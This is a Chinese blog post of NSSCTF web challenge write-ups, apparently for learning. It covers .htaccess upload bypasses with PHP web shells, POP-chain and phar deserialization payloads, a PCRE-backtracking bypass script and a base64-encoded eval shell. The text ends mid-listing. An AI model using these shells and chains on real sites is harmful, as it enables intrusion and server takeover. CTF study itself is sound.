NSSCTF web题记录

2023-11-18

目录

web

[GXYCTF 2019]BabyUpload -.htaccess利用

[NISACTF 2022]babyserialize -pop链

[NISACTF 2022]popchains -pop链

[NSSRound#4 SWPU]1zweb -phar反序列化 + 签名修复

prize_p1 -GC机制 + and签名修复

prize_p5 -原生类 + 字符串逃逸

[NISACTF 2022]middlerce -PCRE回溯绕过

[GKCTF 2020]CheckIN 

[SWPUCTF 2021 新生赛]babyunser -phar反序列化

 [TQLCTF 2022]simple_bypass -代码审计

[BJDCTF 2020]ZJCTF,不过如此

[HUBUCTF 2022 新生赛]HowToGetShell -命令执行绕过

[GDOUCTF 2023]反方向的钟 -原生类的简单利用


web

[GXYCTF 2019]BabyUpload -.htaccess利用

这里已经是提示我们了,是通过.htaccess的了

但是这里经过测试他是检测了文件后缀,上传的类型,检测了内容

但是这里进过尝试他的内容只检测了<?,这个是很好绕过的

这里就有了我们第一种解法

第一种方法

上传木马1.jpg,上传类型为image/jpeg

木马内容:<script language="php">eval($_POST['cmd']);</script>

然后上传一个正常的.htaccess

<FilesMatch "1.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

然后直接使用蚁剑连接就可以了

我原本想的是直接使用的

但是报错了。。。。但是蚁剑可以连的

第二种方法

也是针对内容的绕过,这里大家可以当一种扩展就行了

里面的内容为<?php @eval($_POST['cmd']);?>的base64加密

然后上传.htaccess

AddType application/x-httpd-php .jpg
php_value auto_append_file "php://filter/convert.base64-decode/resource=muma.jpg"

然后用蚁剑连接

第三种方法

这个算是非预期的方法

这里我们随便上传一个jpg文件,一个空文件也行

然后上传.htaccess文件,不过这里要知道他的flag位置可以猜一下,也算一种扩展吧

AddType application/x-httpd-php jpg
php_value auto_prepend_file /flag

然后访问那个jpg文件就能直接得到flag

[NISACTF 2022]babyserialize -pop链

这个也是有两种做法的

代码先贴出来

<?php
include "waf.php";
class NISA{
    public $fun="show_me_flag";
    public $txw4ever;
    public function __wakeup()
    {
        if($this->fun=="show_me_flag"){
            hint();
        }
    }

    function __call($from,$val){
        $this->fun=$val[0];
    }

    public function __toString()
    {
        echo $this->fun;
        return " ";
    }
    public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }
}

class TianXiWei{
    public $ext;
    public $x;
    public function __wakeup()
    {
        $this->ext->nisa($this->x);
    }
}

class Ilovetxw{
    public $huang;
    public $su;

    public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];
    }

    public function __toString(){
        $bb = $this->su;
        return $bb();
    }
}

class four{
    public $a="TXW4EVER";
    private $fun='abc';

    public function __set($name, $value)
    {
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);
        }
    }
}

if(isset($_GET['ser'])){
    @unserialize($_GET['ser']);
}else{
    highlight_file(__FILE__);
}

//func checkcheck($data){
//  if(preg_match(......)){
//      die(something wrong);
//  }
//}

//function hint(){
//    echo ".......";
//    die();
//}
?>

然后 checkcheck 方法中的过滤可以通过大小写绕过

第一种做法

说先还是老样子从尾巴开始
NISA类下面的__invode中可以进行命令执行,然后Ilovetxw类中__toString可以触发他,但是这时候我们发现,诶,在NISA类中居然fun对象居然在弱比较,这样fun对象就被当做字符串处理了,这样就触发了toString诶

<?php

class NISA
{
    public $txw4ever='SYSTEM("cat /fllllllaaag");';
}
class Ilovetxw
{
    public $su;
}
$a = new NISA();
$b =  new Ilovetxw();
$a -> fun = $b;
$b -> su = $a;
echo urlencode(serialize($a));

 第二种做法

就是一步步做了,从尾巴做起

第一步 __invoke<-__toString

NISA::invoke需要以调用函数的方式调用一个对象,在Ilovetxw::toString触发了

第二步 __toString<-__set

下面在four::set中看到了strtolower函数,去查了一下strtolower() 函数把字符串转换为小写,所以就是将对象当做字符串了,所以这里触发了Ilovetxw::toString


第三步 __set<-__call

然后在Ilovetxw::call发现了,huang这个对象在调用不存在的成员变量,huang这个对象下面并没有fun这个对象,所以Ilovetxw::call触发了four::set

第四步 __call<-__wakeup

TianXiWei::wakeup调用了不存在的方法,触发了Ilovetxw::call,然后__wakeup会在使用unserialize函数自动触发,所以pop链就有了

<?php

class NISA
{
    public $fun;
    public $txw4ever="System('cat /fllllllaaag');";
}
class TianXiWei
{
    public $ext;
}

class Ilovetxw
{
    public $huang;
    public $su;
}
class four
{
    public $a="TXW4EVER";
    private $fun='sixsixsix';
}
$a = new TianXiWei();
$b = new Ilovetxw();
$c = new four();
$d = new NISA();
$a -> ext = $b;
$b -> huang = $c;
$c -> a = $b;
$b -> su = $d;
echo urlencode(serialize($a));

[NISACTF 2022]popchains -pop链

代码先贴这

Happy New Year~ MAKE A WISH
<?php

echo 'Happy New Year~ MAKE A WISH<br>';

if(isset($_GET['wish'])){
    @unserialize($_GET['wish']);
}
else{
    $a=new Road_is_Long;
    highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/

class Road_is_Long{
    public $page;
    public $string;
    public function __construct($file='index.php'){
        $this->page = $file;
    }
    public function __toString(){
        return $this->string->page;
    }

    public function __wakeup(){
        if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
            echo "You can Not Enter 2022";
            $this->page = "index.php";
        }
    }
}

class Try_Work_Hard{
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Make_a_Change{
    public $effort;
    public function __construct(){
        $this->effort = array();
    }

    public function __get($key){
        $function = $this->effort;
        return $function();
    }
}
/**********************Try to See flag.php*****************************/

顺便说一下这个flag在/flag里面,不是在flag.php

这里给大家详细的讲一下先讲他的链子,详解呦

从Try_Work_Hard类的append方法往上爬,首先append方法需要__invoke触发,这里我们可以知道我们可以直接对$var进行赋值,__invoke()需要以调用函数的方式调用一个对象。

在Make_a_Change类的__get中我们可以发现他是触发了__invoke(),__get方法需要访问了不可直接访问的值才会触发,往上看。


在Road_is_Long类中__toString中会触发__get,有的人会疑惑page和string属性不都是公共的吗,这是不对的,string中没有page这个属性呀,所以调用tostring相当于从不可访问的属性中读取数据,所以get被触发。只有给string new成road is long的,他才会有page属性列如这样$a= new road_is_long();$a->string=new road_is_long();

然后是如何触发Road_is_Long类中的__toString,通过观察发现在__wakeup魔法函数中,对page属性进行了正则匹配,匹配里有没有被过滤的字符,这时的page是作为字符串被操作的,所以触发了__toString,然后__wakeup会在外部使用unserialize时触发,然后我们通过GET的方式通过wish传入,进行反序列化,然后unserialzie是在外部的,这样一条完整的链子就有了

<?php
class Road_is_Long{
	public $page;
	public $string;
}
class Try_Work_Hard{
	protected $var="PHP://filter/read=convert.base64-encode/resource=/flag";
}
class Make_a_Change{
	public $effort;
}
$a = new Road_is_Long;
$b = new Road_is_Long;
$c = new Make_a_Change;
$d = new Try_Work_Hard;
$c-> effort = $d;
$a-> string = $c;
$b-> page = $a;
echo serialize($b);

[NSSRound#4 SWPU]1zweb -phar反序列化 + 签名修复

这个小细节是真的多,人给我整麻了

第一种非预期的解法

../../../../../flag  //直接查询就可以得到flag,但是不建议这样感觉就没什么意义了

第二种预期的解法

这里我们先查询index.php和upload.php的内容

index.php

<?php
class LoveNss{
    public $ljt;
    public $dky;
    public $cmd;
    public function __construct(){
        $this->ljt="ljt";
        $this->dky="dky";
        phpinfo();
    }
    public function __destruct(){
        if($this->ljt==="Misc"&&$this->dky==="Re")
            eval($this->cmd);
    }
    public function __wakeup(){
        $this->ljt="Re";
        $this->dky="Misc";
    }
}
$file=$_POST['file'];
if(isset($_POST['file'])){
    echo file_get_contents($file);
}

uplaod.php

<?php
if ($_FILES["file"]["error"] > 0){
    echo "上传异常";
}
else{
    $allowedExts = array("gif", "jpeg", "jpg", "png");
    $temp = explode(".", $_FILES["file"]["name"]);
    $extension = end($temp);
    if (($_FILES["file"]["size"] && in_array($extension, $allowedExts))){
        $content=file_get_contents($_FILES["file"]["tmp_name"]);
        $pos = strpos($content, "__HALT_COMPILER();");
        if(gettype($pos)==="integer"){
            echo "ltj一眼就发现了phar";
        }else{
            if (file_exists("./upload/" . $_FILES["file"]["name"])){
                echo $_FILES["file"]["name"] . " 文件已经存在";
            }else{
                $myfile = fopen("./upload/".$_FILES["file"]["name"], "w");
                fwrite($myfile, $content);
                fclose($myfile);
                echo "上传成功 ./upload/".$_FILES["file"]["name"];
            }
        }
    }else{
        echo "dky不喜欢这个文件 .".$extension;
    }
}
?>

这里分析文件上传加上反序列化,这phar反序列化没跑了。 

index.php还是十分简单,我们只用绕过__wakeup就可以了,难点不在这。
然后upload.php检测上传的时候会检查,__HALT_COMPILER();,所以我们要将phar文件压缩,来绕过。

 因为我们知道flag在跟目录就直接读取了

<?php
class LoveNss{
    public $ljt;
    public $dky;
    public $cmd;
    public function __construct(){
        $this->ljt="Misc";
        $this->dky="Re";
        $this->cmd="system('cat /flag');";
    }
}
$a = new LoveNss();

$phar = new Phar('aa.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >');

$phar->setMetadata($a);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();
?>

得到了aa.phar

我们是要进行修改的,这里就是第一个小细节,我们要将3个属性修改成4个,大于实际的属性从而绕过__wakeup

注意!注意!注意!

这里我们修改3为4的时候,是不能直接打开的,不然文件会发生变化的

我们要使用winhex或010都行

或者是使用签名修复脚本的时候加上一个replace(b'3:{', b'4:{')也是可以的

这是用记事本或者idea直接打开修改的

 这是用winhex或010直接修改的

 两个的差别还是挺明显的吧

注:这里不是答案
我们按思路一步一步走,想将改好的phar,先用zip压缩成zip文件,在把后缀改成png,然后上传

查询:phar://./upload/3.png/aa.phar   //3.png是我提交的文件

这里我们发现这里,是把aa.phar的内容是显示出来了,但是并没有运行,这里注意可能是压缩包格式的问题,接下来我们尝试gz,这里我们可以使用脚本,也可以使用kail,gzip命令

查询:phar://./upload/4.png/aa.phar   //4.png是我提交的文件

这里回显

这是因为我们,对phar进行了修改,他的签名不正确了,这里我们知道sha1 签名无法被识别。
所以我们要对它签名进行修复。

from hashlib import sha1
# import gzip

file = open(r'C:\Users\CyberSec\Desktop\aa.phar', 'rb').read()

data = file[:-28]  # 获取需要签名的数据
# data = data.replace(b'3:{', b'4:{') #更换属性值,绕过__wakeup

final = file[-8:]  # 获取最后8位GBMB标识和签名类型

newfile = data + sha1(data).digest() + final  # 数据 + 签名 + 类型 + GBMB

open(r'C:\Users\CyberSec\Desktop\new.phar', 'wb').write(newfile)  # 写入到新的phar文件

# newf = gzip.compress(newfile)
# with open(r'C:\Users\CyberSec\Desktop\new1.png', 'wb') as file: #更改文件后缀
#     file.write(newf)

这里提交修复sha1签名的文件,就可以执行了

回显flag了

prize_p1 -GC机制 + and签名修复

这里又用到了签名修复,真的巧,我原本以为短时间是看不到了。
这个我是真的有些懵我这里是参考bilala的博客感觉讲的挺好的,顺便学习一下这位佬的博客学法,自己确实感觉写的有点乱

我们先看源码

<META http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?php
highlight_file(__FILE__);
class getflag {
    function __destruct() {
        echo getenv("FLAG");
    }
}

class A {
    public $config;
    function __destruct() {
        if ($this->config == 'w') {
            $data = $_POST[0];
            if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
                die("我知道你想干吗,我的建议是不要那样做。");
            }
            file_put_contents("./tmp/a.txt", $data);
        } else if ($this->config == 'r') {
            $data = $_POST[0];
            if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
                die("我知道你想干吗,我的建议是不要那样做。");
            }
            echo file_get_contents($data);
        }
    }
}
if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $_GET[0])) {
    die("我知道你想干吗,我的建议是不要那样做。");
}
unserialize($_GET[0]);
throw new Error("那么就从这里开始起航吧");

审计代码

这种有任意文件写入的和任意文件读取,我们就可以考虑phar反序列化


这里我们首先知道他是在getflag类中获得flag的,这里getenv('FLAG')我没有去查,这个感觉就可以感觉除了,他是查看环境变量中的FLAG变量,将他输出


这里读取文件中,我们发现是没有禁用phar,这样使用phar的可能就更大了

思路

想办法触发__destruct有三种方法,这里学习到了

1.主动调用unset($obj)
2.主动调用$obj = NULL
3.程序自动结束

4.将原先指向类的变量取消对类的引用

这里因为设置了throw new Error("那么就从这里开始起航吧");报错,就不会触发__destruct了,所以我们要想办法实现

这里我们使用的是4,这里就将bilala的话拿过来了,感觉我讲得不是很明白

PHP中的垃圾回收Garbage collection机制,即就是GC机制,利用引用计数和回收周期自动管理内存对象。当一个对象没有被引用时,PHP就会将其视为“垃圾”,这个”垃圾“会被回收,回收过程中就会触发析构函数

我们这里可以写代码具体看一下

<?php

class a
{
    public function __destruct()
    {
        echo "destruct触发";
    }
}
$a = new a();
//这里回显destruct触发
<?php

class a
{
    public function __destruct()
    {
        echo "destruct触发";
    }
}
$a = new a();
throw new Error("destruct没有触发");
//回显:PHP Fatal error:  Uncaught Error: destruct没有触发 
//这里我们知道要绕过throw new Error

然后这里讲一下将原先指向类的变量取消对类的引用,我这里就直接拿bilala大佬的代码给大家详细的讲一下,提示一下PHP_EOL的作用和\n差不多

<?php

class bilala
{
    public function __construct($count)
    {
        $this->count = $count;
    }
    public function __destruct()
    {
        echo $this->count."destruct触发";
    }
}
$aa = new bilala(1);
//这里的bilala对象就不是垃圾,因为他被$aa所引用
new bilala(2);
//这里的就是垃圾(也就是匿名对象),new出来后没被引用,就会被当作垃圾回收(所以触发析构)
echo PHP_EOL."**********************************".PHP_EOL;
$aa = new bilala(3);
//这里将$aa指向了另一个对象的引用,所以原先的对象触发析构
echo PHP_EOL."**********************************".PHP_EOL;
//程序结束,触发析构

回显:2destruct触发

           **********************************

          1destruct触发

           **********************************

           3destruct触发

因为我没有具体的学习过php的面对对象,但是我学习了java的面对对象,这里感觉两个差不多,就用java的感觉来讲吧。

因为他new了,应该会在一个跟堆一样的东西建立一个空间给他,然后返回地址值,这里第一个他用$aa接受了地址值,第二个创建了并没有使用,所以系统检测到了,就会清理这里第二个生成的空间,所以2先触发了__destruct,然后第三个也生成一个新的空间,这里返回了他的地址值,然后替换了,第一个的地址值,然后第一个的空间就没有引用了,就和2一样了,清理了,然后就触发了__destruct然后返回,第三个程序结束了,就自动删除了,所以它最后触发

所以我们开始生成phar文件了

<?php

class getflag
{
}

$a = new getflag();
$a = array(0=>$a,1=>null);

$phar = new Phar('aa.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >');

$phar->setMetadata($a);

$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();

但是刚生成出来的是是这样的,这样解出来的,不是我们想要的,我要修改一下,至于为什么不用$a = array(0=>$a,0=>null);是因为发现他生成的有点问题,然后我们这里解释一下这个反序列化的东西,a:2:{i:0;O:7:"getflag":0:{}i:0;i:0;}  ,首先他解出来的时候都是按顺序解的,这里先将array(0)赋值为getflag类,这里就是将他引用,然后替换为空,他就会变成垃圾,就会被GC回收,这里就会触发__destruct

但是这样他的签名就损坏了,这里可以看一下上一题

我们用脚本修复

from hashlib import sha1


file = open(r'C:\Users\CyberSec\Desktop\aa.phar', 'rb').read()  # 需要重新生成签名的phar文件

data = file[:-28]  # 获取需要签名的数据
final = file[-8:]  # 获取最后8位GBMB标识和签名类型

newfile = data + sha1(data).digest() + final  # 数据 + 签名 + 类型 + GBMB

open(r'C:\Users\CyberSec\Desktop\new.phar', 'wb').write(newfile)  # 写入到新的phar文件

 然后因为要绕过过滤,这里进行压缩,我使用的是gzip,因为怕了

然后就是要触发写和读

<?php

class A
{
    public $config='w';
}
echo serialize(new A());
//用两次一次w,一次r
import requests

url = "http://1.14.71.254:28258/"
s = requests.session()

a = open(r'C:\Users\CyberSec\Desktop\new.phar.gz', 'rb').read()

s.post(url=url,params={0:'O:1:"A":1:{s:6:"config";s:1:"w";}'},data={0:a})
b = s.post(url=url,params={0:'O:1:"A":1:{s:6:"config";s:1:"r";}'},data={0:"phar://./tmp/a.txt/aa.phar"}).text
print(b)

然后这里用脚本上传读取,得到flag,这里在提示一下params通常是get使用,代表的是?0=......

然后就是phar读取,不用担心后缀变了,因为phar看的是你文件的格式

prize_p5 -原生类 + 字符串逃逸

首先我们要审计代码

<?php
error_reporting(0);

class catalogue{
    public $class;
    public $data;
    public function __construct()
    {
        $this->class = "error";
        $this->data = "hacker";
    }
    public function __destruct()
    {
        echo new $this->class($this->data);
    }
}
class error{
    public function __construct($OTL)
    {
        $this->OTL = $OTL;
        echo ("hello ".$this->OTL);
    }
}
class escape{                                                                   
    public $name = 'OTL';                                                 
    public $phone = '123666';                                             
    public $email = 'sweet@OTL.com';                          
}
function abscond($string) {
    $filter = array('NSS', 'CTF', 'OTL_QAQ', 'hello');
    $filter = '/' . implode('|', $filter) . '/i';
    return preg_replace($filter, 'hacker', $string);
}
if(isset($_GET['cata'])){
    if(!preg_match('/object/i',$_GET['cata'])){
        unserialize($_GET['cata']);
    }
    else{
        $cc = new catalogue(); 
        unserialize(serialize($cc));           
    }    
    if(isset($_POST['name'])&&isset($_POST['phone'])&&isset($_POST['email'])){
        if (preg_match("/flag/i",$_POST['email'])){
            die("nonono,you can not do that!");
        }
        $abscond = new escape();
        $abscond->name = $_POST['name'];
        $abscond->phone = $_POST['phone'];
        $abscond->email = $_POST['email'];
        $abscond = serialize($abscond);
        $escape = get_object_vars(unserialize(abscond($abscond)));
        if(is_array($escape['phone'])){
        echo base64_encode(file_get_contents($escape['email']));
        }
        else{
            echo "I'm sorry to tell you that you are wrong";
        }
    }
}
else{
    highlight_file(__FILE__);
}
?> 

 首先我们从传输代码的地方看起$_GET['cata'],首先他是进行一个正则匹配,然后因为有/i,就是我们不能用大小写匹配了。

然后进行反序列化,然后在catalogue::__destruct中我们发现了

echo new $this->class($this->data);

这样我们就能使用php的原生类了

我们要先知道flag在哪叫什么

 这里我们以使用这几个原生类DirectoryIterator FilesystemIterator GlobIterator 都是可以的

<?php

class catalogue
{
    public $class="GlobIterator";
    public $data="/*f*";
}
echo serialize(new catalogue());

/*
<?php

class catalogue
{
    public $class="DirectoryIterator";
    public $data="glob:///*f*";
}
echo serialize(new catalogue());

*/
/*
<?php

class catalogue
{
    public $class="FilesystemIterator";
    public $data="glob:///*f*";
}
echo serialize(new catalogue());

*/

 这里就是遍历根目录下面有f的文件或者目录,这三个随便选一个传进去

O:9:"catalogue":2:{s:5:"class";s:12:"GlobIterator";s:4:"data";s:4:"/*f*";}

然后我们就知道了,根目录下面有flag文件,就叫flag

第一种非预期的做法

这里过滤其实就为了防止我们使用原生类SplFileObject ,但是这个类只能读取一行,想完全读取只能遍历,但是flag通常就一行

    if(!preg_match('/object/i',$_GET['cata'])){
        unserialize($_GET['cata']);
    }

但是我们可以通过16进制绕过去的

<?php

class catalogue
{
    public $class="SplFileObject ";
    public $data="/flag";
}
echo serialize(new catalogue());
O:9:"catalogue":2:{s:5:"class";s:14:"SplFileObject ";s:4:"data";s:5:"/flag";}
//这样是不行的,将SplFileObject前面的s改成大写我们就能使用16进制了

?cata=O:9:"catalogue":2:{s:5:"class";S:14:"SplFile\4fbject ";s:4:"data";s:5:"/flag";}

第二种预期的做法

就是通过字符串逃逸

定义一个abscond方法,就是进行替换的,这个方法本没有错,错的是,可以替换成不同的长度


这里举个列,假如我们传进去的是NSSaaa,那么他经过转换就直接接收了hacker,然后aaa就逃出去了


然后他对email参数转进来的东西,进行了过滤,所以我们不能用,因为我们要传flag,然后就是phone,if(is_array($escape['phone']))这里判断他必须是一个数组,所以我们要改,最后就是在name中传

<?php

class escape
{
    public $name = '1';
    public $phone = array(1);
    public $email = '/flag';
}
$a = new escape();
echo serialize($a);

//O:6:"escape":3:{s:4:"name";s:1:"1";s:5:"phone";a:1:{i:0;i:1;}s:5:"email";s:5:"/flag";}
//";s:5:"phone";a:1:{i:0;i:1;}s:5:"email";s:5:"/flag";}

这里我们传进去以后就是这样

phone是一个数组,email获取flag

然后这里看那一串的长度

 这里我们使用

好了

get传:?cata=1    //这里是往下触发
post传:name=CTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFhellohello";s:5:"phone";a:1:{i:0;i:1;}s:5:"email";s:5:"/flag";}&phone=1&email=1

//然后解码就可以了

[NISACTF 2022]middlerce -PCRE回溯绕过

<?php
include "check.php";
if (isset($_REQUEST['letter'])){
    $txw4ever = $_REQUEST['letter'];
    if (preg_match('/^.*([\w]|\^|\*|\(|\~|\`|\?|\/| |\||\&|!|\<|\>|\{|\x09|\x0a|\[).*$/m',$txw4ever)){
        die("再加把油喔");
    }
    else{
        $command = json_decode($txw4ever,true)['cmd'];
        checkdata($command);
        @eval($command);
    }
}
else{
    highlight_file(__FILE__);
}

这个匹配就离谱了,这里我们就可以尝试PCRE回溯了,原理嘛,还得看p神的文章
这里就不讲原理,简单说就是他匹配有一个上限,超出这个上限就可以绕过preg_match了,然后正常preg_match的上限就是1000000

然后我们这里看看下面json_decode()这里

<?php
$b ='{"cmd":"ls"}';
$a = json_decode($b, true)['cmd'];
var_dump($a);
//返回 string(2) "ls"
//相当于就是返回字符串ls

至于checkdata是个什么东西我不知道诶,我只看到了checkdate,然后猜测checkdata是check.php文件的定义的方法,这里先给大家看check.php,是我拿到flag以后看看的

<?php
function checkdata($data){
    if (preg_match("/\^|\||\~|assert|print|include|require|\(|echo|flag|data|php|glob|sys|phpinfo|POST|GET|REQUEST|exec|pcntl|popen|proc|socket|link|passthru|file|posix|ftp|\_|disk|tcp|cat|tac/i",$data,$match)){
        die('差一点点捏');
    }
}

果然这里定义了checkdata,是进行命令过滤的,所以这里我使用的是内联执行

import requests

url = "http://1.14.71.254:28052/"
data='{"cmd":"?><?=`nl /f*`;?>","t":"' + "@"*1000000 + '"}' 
//这里必须使用特殊字符,@$之类的都是可以的
a = requests.post(url=url,data={'letter': data}).text
print(a)

这样就可以得到flag了

[GKCTF 2020]CheckIN 

<title>Check_In</title>
<?php 
highlight_file(__FILE__);
class ClassName
{
        public $code = null;
        public $decode = null;
        function __construct()
        {
                $this->code = @$this->x()['Ginkgo'];
                $this->decode = @base64_decode( $this->code );
                @Eval($this->decode);
        }

        public function x()
        {
                return $_REQUEST;
        }
}
new ClassName();

这里只定义了一个ClassName对象,利用有一个魔术方法和一个自定义方法,最后实例化了这个对象。


这里分析一下在x方法中,他是通过return直接返回值,这里了解一下$_REQUEST这个函数,这个是可以接受$_GET,$_POST,$_Cookie,这里看一下。

<?php

highlight_file(__FILE__); 
echo $_REQUEST['a'];

这里看到回显了1,那么同时POST传输呢。

这里回显是2,这是为什么呢,这里就要了解php配置文件默认的处理优先级,当然我们是可以修改的。

默认的数据写入顺序是EGPCS

E代表$_ENV

G代表$_GET

P代表$_POST

C代表$_COOKIE

S代表$_SERVER

所以在关键字相同的情况下,POST包含的数据会覆盖GET中的数据。


我们知道$_REQUEST是可以接受$_GET,$_POST,$_Cookie的,所以写的时候要注意一点。

接下来继续讲,$this->code=@$this->x()['Ginkgo'];

这里结合x方法,其实就是相当于$this->code=$_REQUEST['Ginkgo']

 $this->decode = @base64_decode( $this->code );这里会进行一次base64解密,所以我们进行一次base64加密。


//这里我传入phpinfo(); ,使用的是GET方法

?Ginkgo=cGhwaW5mbygpOw==

这里查看disable_functions可以发现是禁用了不少东西,但是eval,assert这些好像是没有禁用的。

这里选择包含一个马。

//这里包含这个eval($_POST[a]);

?Ginkgo=ZXZhbCgkX1BPU1RbYV0pOw==

有人有疑惑为什么前面有eval还要选择加eval
首先我们要知道eval,是把字符串当做php代码执行,那么不加eval就是执行$_POST[1],并不是执行一个一句话木马。

这里在根目录发现了flag,但是没有权限,这打开虚拟终端看一下也是一样

 

这里直接选择使用插件来绕过

 


[SWPUCTF 2021 新生赛]babyunser -phar反序列化

这一题等了很久了,没有标签的普通文本居然只能在源代码看到。。原本一直以为是题目有问题,现在看还自己不太仔细呀。

这里可以查看源代码,这里把知道的文件都查看一下,这里只把重要的部分拿出来。

//read.php
<?php
include('class.php');
$a=new aa();
?>
<body>
<h1>aa的文件查看器</h1>
<form class="search_form" action="" method="post">
    <input type="text" class="input_text" placeholder="请输入搜索内容" name="file">
    <input type="submit" value="查看" class="input_sub">
</form>
</body>
</html>
<?php
error_reporting(0);
$filename=$_POST['file'];
if(!isset($filename)){
    die();
}
$file=new zz($filename);
$contents=$file->getFile();
?>
//class.php
<?php
class aa{
    public $name;

    public function __construct(){
        $this->name='aa';
    }

    public function __destruct(){
        $this->name=strtolower($this->name);
    }
}

class ff{
    private $content;
    public $func;

    public function __construct(){
        $this->content="\<?php @eval(\$_POST[1]);?>";
    }

    public function __get($key){
        $this->$key->{$this->func}($_POST['cmd']);
    }
}

class zz{
    public $filename;
    public $content='surprise';

    public function __construct($filename){
        $this->filename=$filename;
    }

    public function filter(){
        if(preg_match('/^\/|php:|data|zip|\.\.\//i',$this->filename)){
            die('这不合理');
        }
    }

    public function write($var){
        $filename=$this->filename;
        $lt=$this->filename->$var;
        //此功能废弃,不想写了
    }

    public function getFile(){
        $this->filter();
        $contents=file_get_contents($this->filename);
        if(!empty($contents)){
            return $contents;
        }else{
            die("404 not found");
        }
    }

    public function __toString(){
        $this->{$_POST['method']}($_POST['var']);
        return $this->content;
    }
}

class xx{
    public $name;
    public $arg;

    public function __construct(){
        $this->name='eval';
        $this->arg='phpinfo();';
    }

    public function __call($name,$arg){
        $name($arg[0]);
    }
}
//upload.php
<?php
    if(isset($_POST['submit'])){
        $upload_path="/upload/".md5(time()).".txt";
        $temp_file = $_FILES['upload_file']['tmp_name'];
        if (move_uploaded_file($temp_file, $upload_path)) {
            echo "文件路径:".$upload_path;
        } else {
            $msg = '上传失败';
        }
    }

这里有文件上传,文件读取,还有链子,还禁用一些伪协议还有点,就是没有禁用phar,嗯~,提示已经十分明显了,虽然upload这里会进行重命名,但是吧,phar是看文件内容的,改名字是没有关系的。


从read.php就可以知道是从aa类进入的,这里我们分析分析,可以不可以搞出来一个链子。

这里我们分析一下,注意destruct有一个函数strtolower,他是把参数当成字符串处理的,所以可以触发__toString,这里去看看那里有。

class aa{
    public $name;

    public function __construct(){
        $this->name='aa';
    }

    public function __destruct(){
        $this->name=strtolower($this->name);
    }
}

 这里我们会进入zz类,触发这里toString,但是我们想要触发的是ff方法的__get,就需要触发ff方法的私有参数content,这看到write方法,filename我们可以定义,但是还可以触发一个,这样我们只要让filename参数new ff,然后$var赋值content就可以触发,ff类中的__get魔法函数,所以method=write,var=content。

class zz{
    public $filename;
    public $content='surprise';

    public function __construct($filename){
        $this->filename=$filename;
    }

    public function filter(){
        if(preg_match('/^\/|php:|data|zip|\.\.\//i',$this->filename)){
            die('这不合理');
        }
    }

    public function write($var){
        $filename=$this->filename;
        $lt=$this->filename->$var;
        //此功能废弃,不想写了
    }

    public function getFile(){
        $this->filter();
        $contents=file_get_contents($this->filename);
        if(!empty($contents)){
            return $contents;
        }else{
            die("404 not found");
        }
    }

    public function __toString(){
        $this->{$_POST['method']}($_POST['var']);
        return $this->content;
    }
}

这里触发__get魔法函数,这里$key就是content的值

$this->$key->{$this->func}($_POST['cmd']);

这一段的意思就是,使用$key下面的方法,cmd是参数,这个方法肯定是不存在的,我们就可以使用他来触发xx类中的__call魔法方法,因为只要我们将func为一个可执行函数,然后cmd传输我们的命令,根据__call中的$name($arg[0]),就可以执行我们想要执行的了,这样我们就是让$key为new xx。

class ff{
    private $content;
    public $func;

    public function __construct(){
        $this->content="\<?php @eval(\$_POST[1]);?>";
    }

    public function __get($key){
        $this->$key->{$this->func}($_POST['cmd']);
    }
}

上面就已经可以利用了,这里我们梳理一下思路。

aa::__destruct -> zz::__toString -> zz::write -> ff::__get -> xx::__call


接下来写我们的exp

<?php
 
 class aa{
    public $name;

    public function __construct(){
        $this->name = new zz();
    }
 }

 class zz{
    public $filename;
    public $content='surprise';

    public function __construct(){
        $this->filename = new ff;
    }
 }

 class ff{
    private $content;
    public $func="system";
    public function __construct(){
        $this -> content = new xx;
    }
 }

 class xx{
    public $name;
    public $arg;
 }


 $a = new aa;

 $phar = new Phar('b.phar'); //生成文件的名字,但是后缀必须是phar
 $phar->startBuffering();
 $phar->setStub('<?php __HALT_COMPILER(); ?>'); //设置stub,我们必须以这个为结尾,否则phar扩展将无法识别这个文件为phar文件
  
 $phar->setMetadata($a); //将自定义的meta-data存入manifest,就是将序列化的东西存进去
  
 $phar->addFromString('test.txt', 'test');//添加要压缩的文件
 $phar->stopBuffering();//签名自动计算

将生成phar文件上传上去,没有看到回显可以查看源代码,然后来到read.php,进行rce,没有看到flag,建议打开源代码看看。

file=phar://upload/186038cf4fb14b09766a8c3a8dc5a671.txt&method=write&var=content&cmd=cat /flag


 [TQLCTF 2022]simple_bypass -代码审计

刚进去没有发现什么东西,但是这里有一个注册和登录,我们创建一个账号登录进去看看。

这里进去感觉是一个系统的感觉,这里直接先使用f12拦包,在看到杰哥的时候就知道有好事情了,这里我们看到一个有参数的,而且对应的是文件,可能存在任意文件读取之类的。

读取以后,发现有一个破损的图片,这里打开源代码看看,发现了一些base64的字符串,这里去把代表base64加密的那一串拿过去解密。

这里还真是passwd的内容,但是尝试直接读取各种flag都已失败告终,这里尝试读取别的,接下来读取index.php看看。

这里是index.php的源码,这里重要的只有php代码的部分,首先这里是对我们注册地方的一些检测,puctuation这个给我的感觉就是那种看看我有漏洞的感觉,大于1000哈哈哈

下面还提到了一个,template.html,他是读取了这个文件

然后下面的str_replace,就是将读取过来中对应的字符串替换成我们传进去的值,列如将template.html中的__USER__替换成我们user post传输过来的值

<?php
error_reporting(0);
if(isset($_POST['user']) && isset($_POST['pass'])){
	$hash_user = md5($_POST['user']);
	$hash_pass = 'zsf'.md5($_POST['pass']);
	if(isset($_POST['punctuation'])){
		//filter
		if (strlen($_POST['user']) > 6){
			echo("<script>alert('Username is too long!');</script>");
		}
